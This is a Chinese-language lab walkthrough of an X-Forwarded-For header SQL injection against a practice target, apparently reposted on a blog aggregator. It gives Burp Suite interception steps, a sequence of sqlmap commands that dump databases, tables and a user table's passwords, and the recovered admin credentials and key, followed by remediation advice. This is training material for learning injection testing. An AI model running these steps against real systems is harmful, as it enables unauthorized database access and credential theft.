X-Forwarded-For注入漏洞


目錄

  1. 找注入點
  2. post包進行sqlmap注入

0x00環境介紹

靶機http://219.153.49.228:48033,通過注入完成找到網站的key。


0x01復現過程

1.訪問網站使用admin/admin登入,用burpsuite截包尋找注入點

>>截到的包,正常放包回顯內容

 >>加X-forwarded-for:1.1.1.1回顯IP數據改變,可能存在注入點

2.保存post包進行sql注入

保存post包1.txt,加上X-forwarded-for:*作為注入點,在windows上使用sqlmap跑

暴庫:python sqlmap.py -r 1.txt --dbs –batch

開始試了很多次,payload也換了幾個了沒成功,后來發現請求頭和請求體沒有分開。

>>修改后

a.暴數據庫

python sqlmap.py -r 1.txt --dbs

 

b.暴數據表

python sqlmap.py -r 1.txt -D webcalendar --tables

 

c.暴列表

python sqlmap.py -r 1.txt -D webcalendar -T user --columns

 

d.暴字段

python sqlmap.py -r 1.txt -D webcalendar -T user “password” --dumps

 

3.使用admin/116012900登入拿到keymozhebb8300a328e13dd2abd55c5d8dd

 


0x02修復建議

(1)程序代碼里的所有查詢語句,使用標准化的數據庫查詢語句API接口,設定語句的參數進行過濾一些非法的字符,防止用戶輸入惡意的字符傳入到數據庫中執行sql語句。

(2)對用戶提交的的參數安全過濾,像一些特殊的字符(,()*&……%#等等)進行字符轉義操作,以及編碼的安全轉換。

(3)網站的代碼層編碼盡量統一,建議使用utf8編碼,如果代碼里的編碼都不一樣,會導致一些過濾被直接繞過。

(4)網站的數據類型,必須確定,是數字型,就是數字型,字符型就是字符型,數據庫里的存儲字段類型也設置為ini型。

(5)對用戶的操作權限進行安全限制,普通用戶只給普通權限,管理員后台的操作權限要放開,盡量減少對數據庫的惡意攻擊。

(6)網站的報錯信息盡量不要返回給客戶端,比如一些字符錯誤,數據庫的報錯信息,盡可能的防止泄露給客戶端。


0x03總結思考

  首先通過回顯頁面異常找到對應的注入點,將post文件保存,然后使用sqlmap跑post包,另外請求體和請求頭一定要分開。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM